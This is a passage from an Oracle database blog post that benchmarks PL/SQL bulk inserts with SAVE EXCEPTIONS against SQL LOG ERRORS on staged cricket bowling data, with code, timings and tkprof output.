Elapsed: 00:00:00.02
SQL> select count(*) from ashes_bowling_figs_err;

  COUNT(*)
----------
     10000

Elapsed: 00:00:00.01
SQL> 

So, in this scenario, making this change results in the script executing in one third of the time.

We could make this script run faster still…

The sky is the Limit ?

The thing about PL/SQL collections is that they exist in the Process Global Area (PGA) memory of a session.
What’s more, they exist in the “untunable” area of PGA that Oracle has no control over ( up to 11g that is).
Therefore, it’s perfectly possible for a PL/SQL table to hog all of the available memory on the server with, as they say, hilarious results.
Apparently there is a new parameter in Database 12c to stop this happening. You can see details of this in this article by Peter Haeusler.
Making generalisations about what you should do in order to avoid chewing up all of the available RAM in your PGA is somewhat problematic. A lot depends on how much RAM you have to start with, how much is allocated to the OS, and how much to Oracle.
Rather than go too deeply into that particular rabbit hole, I’m simply going to run some tests to see how high it is possible to set the LIMIT clause when processing FORALL inserts with the SAVE EXCEPTIONS clause.

Incidentally, if you do want to check how much of a PGA hog your session is being, the following query may help :

SELECT sn.name, round(ms.value/1024/1024, 2) as MB
FROM v$mystat ms, v$statname sn
WHERE sn.statistic# = ms.statistic#
AND ms.statistic# in (33,34)
/

Anyway, back to our LIMIT question.
We’re going to try a load containing, to take a completely random number, 65535 erroring records ( 262140 in total).
We’ll do this without a LIMIT clause at all on the BULK COLLECT.

The code we’re running now is :

DECLARE
--
-- Forall and NO Limits...I like to live *on the edge* 
--

    TYPE typ_bowlers IS TABLE OF ashes_bowling_stg%ROWTYPE;
    tbl_bowlers typ_bowlers;
    
    e_dml_err EXCEPTION;
    PRAGMA EXCEPTION_INIT(e_dml_err, -24381);
    --
    -- Array for error handling
    --
    TYPE typ_err IS TABLE OF ashes_bowling_figs_err%ROWTYPE
        INDEX BY PLS_INTEGER;
    tbl_err typ_err;
    tbl_err_empty typ_err;
    l_idx NUMBER;
BEGIN
    --
    -- Just use an implicit cursor now we don't have to loop...
    --
    SELECT player_name, overs, maidens,
        runs, wkts, best, five_fors
    BULK COLLECT INTO tbl_bowlers
    FROM ashes_bowling_stg;

    FORALL i IN 1..tbl_bowlers.COUNT SAVE EXCEPTIONS
        INSERT INTO ashes_bowling_figures
        VALUES tbl_bowlers(i);
EXCEPTION
    WHEN e_dml_err THEN
        FOR j IN 1..SQL%BULK_EXCEPTIONS.COUNT LOOP
            l_idx := SQL%BULK_EXCEPTIONS(j).error_index;
            --
            -- Populate the error array
            --
            tbl_err(j).ora_err_number$ := SQL%BULK_EXCEPTIONS(j).error_code;
            tbl_err(j).ora_err_mesg$ := SQLERRM( SQL%BULK_EXCEPTIONS(j).error_code * -1);
            tbl_err(j).ora_err_rowid$ := NULL; -- need to specify this value in this example
            tbl_err(j).ora_err_tag$ := 'NOLIMIT';
            tbl_err(j).ora_err_optyp$ := 'I';
            tbl_err(j).player_name := tbl_bowlers(l_idx).player_name;
            tbl_err(j).overs := tbl_bowlers(l_idx).overs;
            tbl_err(j).maidens := tbl_bowlers(l_idx).maidens;
            tbl_err(j).runs := tbl_bowlers(l_idx).runs;
            tbl_err(j).wkts := tbl_bowlers(l_idx).wkts;
            tbl_err(j).best := tbl_bowlers(l_idx).best;
            tbl_err(j).five_fors := tbl_bowlers(l_idx).five_fors;
        END LOOP;
        --
        -- ...and populate the error table in one fell swoop ( per iteration)
        --
        FORALL k IN 1..tbl_err.COUNT 
            INSERT INTO ashes_bowling_figs_err
            VALUES tbl_err(k);
        --
        -- Cleardown the error array
        --
        tbl_err := tbl_err_empty;
END;
/   

So, reset the staging data, bounce the database and run…

SQL> @forall_no_limit.sql

PL/SQL procedure successfully completed.

SQL> select count(*) from ashes_bowling_figures;

  COUNT(*)
----------
    196605

SQL> select count(*) from ashes_bowling_figs_err;

  COUNT(*)
----------
     65535

SQL> 

That all looks OK ( leaving aside the aforementioned PGA issues). However, what happens when we add just a single additional error record and re-run ?
So…with 262144 records in the staging table, of which 65536 will error…

SQL> @forall_no_limit.sql

PL/SQL procedure successfully completed.

SQL> select count(*) from ashes_bowling_figures;

  COUNT(*)
----------
    196608

SQL> select count(*) from ashes_bowling_figs_err;

  COUNT(*)
----------
	 0

SQL> 

Hmmm, it seems we’re missing some errors.
What we can deduce from this is that, unlike a normal PL/SQL collection, SQL%BULK_EXCEPTIONS can hold a maximum 65535 records.
Therefore, this is the maximum value at which the limit clause can be set if you’re using SAVE EXCEPTIONS.
You may regard all of this as somewhat academic. After all, you’d never let something that takes up so much PGA into production, would you ?
Well, it depends. Of course, a process hogging resources from other database sessions will be an issue. However, in this particular example, we’re doing a bulk load of records. This is the sort of thing you’d expect to find on an overnight batch.
If there are other batch jobs dependent on the successful completion of this one, and it’s the only thing running on the system at the time, then you might consider the potential saving in execution time worth the additional system resources taken up.

Comparison on 1 million records

We’re going to tweak our PL/SQL routine one more time and then do a comparison with the SQL on one million records.
Then, just to restore some semblance of sanity, we’ll run against a record set of the same size but which will contain no errors.

The final PL/SQL code then, saved as pga_gobbler.sql :

DECLARE
    --
    -- Super fast, super hungry PL/SQL version.
    -- Mmmm PGA, pile it on !
    --
    TYPE typ_bowlers IS TABLE OF ashes_bowling_stg%ROWTYPE;
    tbl_bowlers typ_bowlers;
    
    e_dml_err EXCEPTION;
    PRAGMA EXCEPTION_INIT(e_dml_err, -24381);
    
    CURSOR c_stg IS
        SELECT player_name, overs, maidens,
            runs, wkts, best, five_fors    
        FROM ashes_bowling_stg;

    --
    -- Array for error handling
    --
    TYPE typ_err IS TABLE OF ashes_bowling_figs_err%ROWTYPE
        INDEX BY PLS_INTEGER;
    tbl_err typ_err;
    tbl_err_empty typ_err;
    l_idx NUMBER;
BEGIN
    OPEN c_stg;
    LOOP
        FETCH c_stg BULK COLLECT INTO tbl_bowlers LIMIT 65535;
        EXIT WHEN tbl_bowlers.COUNT = 0;
        BEGIN
            FORALL i IN 1..tbl_bowlers.COUNT SAVE EXCEPTIONS
                INSERT INTO ashes_bowling_figures
                VALUES tbl_bowlers(i);
        EXCEPTION
            WHEN e_dml_err THEN
                FOR j IN 1..SQL%BULK_EXCEPTIONS.COUNT LOOP
                    --
                    -- Loop through and populate the error array
                    --
                    l_idx := SQL%BULK_EXCEPTIONS(j).error_index;
                    tbl_err(j).ora_err_number$ := SQL%BULK_EXCEPTIONS(j).error_code;
                    tbl_err(j).ora_err_mesg$ := SQLERRM( SQL%BULK_EXCEPTIONS(j).error_code * -1);
                    tbl_err(j).ora_err_rowid$ := NULL; -- need to specify the NULL value in this example
                    tbl_err(j).ora_err_tag$ := 'FORALL_EXCEPTION';
                    tbl_err(j).ora_err_optyp$ := 'I';
                    tbl_err(j).player_name := tbl_bowlers(l_idx).player_name;
                    tbl_err(j).overs := tbl_bowlers(l_idx).overs;
                    tbl_err(j).maidens := tbl_bowlers(l_idx).maidens;
                    tbl_err(j).runs := tbl_bowlers(l_idx).runs;
                    tbl_err(j).wkts := tbl_bowlers(l_idx).wkts;
                    tbl_err(j).best := tbl_bowlers(l_idx).best;
                    tbl_err(j).five_fors := tbl_bowlers(l_idx).five_fors;
                END LOOP;
                --
                -- ...and populate the error table in one fell swoop ( per iteration)
                --
                FORALL k IN 1..tbl_err.COUNT 
                    INSERT INTO ashes_bowling_figs_err
                    VALUES tbl_err(k);
                --
                -- Cleardown the error array
                --
                tbl_err := tbl_err_empty;
        END;
    END LOOP;
    CLOSE c_stg;
END;
/   
COMMIT;

So, having setup the test…

SQL> @pga_gobbler.sql

PL/SQL procedure successfully completed.

Elapsed: 00:00:15.00

Commit complete.

Elapsed: 00:00:00.15
SQL> 

Just out of idle curiosity, let’s see how much PGA we’ve munched our way through :

NAME									 MB
---------------------------------------------------------------- ----------
session pga memory						       1.62
session pga memory max							 58

SQL> 

The size of the staging table itself ?

SELECT ROUND(bytes/1024/1024,2) as MB
FROM user_segments
WHERE segment_name = 'ASHES_BOWLING_STG'
/

	MB
----------
	42
	
SQL>

So, we seem to have used an extra 58MB, but the amount of data we used to populate the array is only 42MB. I must confess that I’m not entirely sure why it’s grabbed that extra 16MB.

Now for the SQL…

SQL> @load_bowlers_le.sql

750000 rows created.

Elapsed: 00:00:55.84

Commit complete.

Elapsed: 00:00:00.01
SQL> 

As you might expect, the increased number of error records has simply exacerbated the comparatively slow performance.
On this record set, the SQL takes almost 56 seconds as opposed to 15 seconds with the PL/SQL approach.

Having said that, it’s worth considering that the error rate in this load ( as well as the consistent distribution of error records throughout the data set) is somewhat unusual.
Often, you’ll want to employ the error logging method of inserting records on the off-chance that the odd record fails.

Sunny day test – with no errors

In this test, we’ll have the same number of records, but we’ll tweak things a little by ensuring that they all succeed.
The easiest way to do this is to remove the Not Null constraint from the column on our target table :

ALTER TABLE ashes_bowling_figures
    MODIFY five_fors NULL
/

Now all of our records should be successfully loaded.

Running the PL/SQL …

SQL> @pga_gobbler.sql

PL/SQL procedure successfully completed.

Elapsed: 00:00:04.52

Commit complete.

Elapsed: 00:00:00.02

…and now for the SQL…

SQL> @load_bowlers_le.sql

1000000 rows created.

Elapsed: 00:00:23.99

Commit complete.

Elapsed: 00:00:00.15

That was unexpected. Even with no row-by-row error processing, the SQL is still taking much longer (24 seconds as opposed to around 4.5).
I questioned this result to the extent that I re-booted the machine (not just re-starting the database) to verify this result.
It would be interesting to compare this to a straight insert/select, that doesn’t log errors…

set timing on
INSERT INTO ashes_bowling_figures
(
    player_name, overs, maidens,
    runs, wkts, best, five_fors
)
SELECT player_name, overs, maidens,
    runs, wkts, best, five_fors
FROM ashes_bowling_stg
/
COMMIT;

Running this reveals something closer to our expectations :

SQL> @just_ins.sql

1000000 rows created.

Elapsed: 00:00:02.66

Commit complete.

Elapsed: 00:00:00.01

At this point, the most interesting comparison is between this vanilla insert/select statement and the log errors statement.
Looking at the tkprof output we can see the following for the straight insert :

INSERT INTO ashes_bowling_figures
(
    player_name, overs, maidens,
    runs, wkts, best, five_fors
)
SELECT player_name, overs, maidens,
    runs, wkts, best, five_fors
FROM ashes_bowling_stg

call     count       cpu    elapsed       disk      query    current        rows
------- ------  -------- ---------- ---------- ---------- ----------  ----------
Parse        1      0.01       0.00          0          0          0           0
Execute      1      1.19       2.49       5289      11732      47997     1000000
Fetch        0      0.00       0.00          0          0          0           0
------- ------  -------- ---------- ---------- ---------- ----------  ----------
total        2      1.20       2.49       5289      11732      47997     1000000

The current gets figure here is pretty much in line with what you see for the PL/SQL script. The Log Errors statement however, looks a bit different :

INSERT INTO ashes_bowling_figures
(
    player_name, overs, maidens,
    runs, wkts, best, five_fors
)
SELECT player_name, overs, maidens,
    runs, wkts, best, five_fors
FROM ashes_bowling_stg
LOG ERRORS INTO ashes_bowling_figs_err ('TOO FAST') REJECT LIMIT UNLIMITED

call     count       cpu    elapsed       disk      query    current        rows
------- ------  -------- ---------- ---------- ---------- ----------  ----------
Parse        1      0.01       0.00          0          0          0           0
Execute      1      8.46      23.85       5291       9125    1057798     1000000
Fetch        0      0.00       0.00          0          0          0           0
------- ------  -------- ---------- ---------- ---------- ----------  ----------
total        2      8.48      23.86       5291       9125    1057798     1000000

Looking at the current column, we can see that the Log Errors statement is performing twenty times the number of consistent gets. That should explain why it’s not as quick as the other statements.

I should really give you some detailed hypothesis as to why this is happening, but the truth is, I have no idea.
All I do know is that, in this test at least, using PL/SQL instead of SQL is around 5 times faster.
You may well want to check this out yourself, but, in my testing at least, these results are pretty consistent.

What can we conclude from all of this ?

  1. The PL/SQL SQL%BULKEXCEPTIONS collection holds a maximum of 65535 records
  2. The SQL LOG ERRORS statement does a row-by-row insert of any error records it encounters
  3. It also performs a much higher number of db block gets than a conventional insert statement, even when there are no error records to process

The reasons for this behaviour are not obvious (to me, at least). What is apparent is that, in this particular instance, PL/SQL is faster than SQL.
Of course, what is true right on 11g may well not be on 12c and subsequent releases of Oracle.
The optimum approach to a given problem will change over time as the technology advances.
Because of this, it’s probably a good idea to verify anything Mr Google tells you (including what I’ve said in this post) on your own hardware/database/application.
As for Mitch and the guys, they’re off to take Urn Polishing classes as it seems they’ll be looking after it for quite a while.


Filed under: Oracle, PL/SQL, SQL Tagged: dbms_errlog.create_error_log, dbms_monitor, dbms_monitor.session_trace_disable, dbms_monitor.session_trace_enable, find the tracefile for the current session, limit, log errors, maximum number of records in sql%bulk_exceptions, ora-24381, save exceptions, sql%bulk_exceptions, tkprof, v$diag_info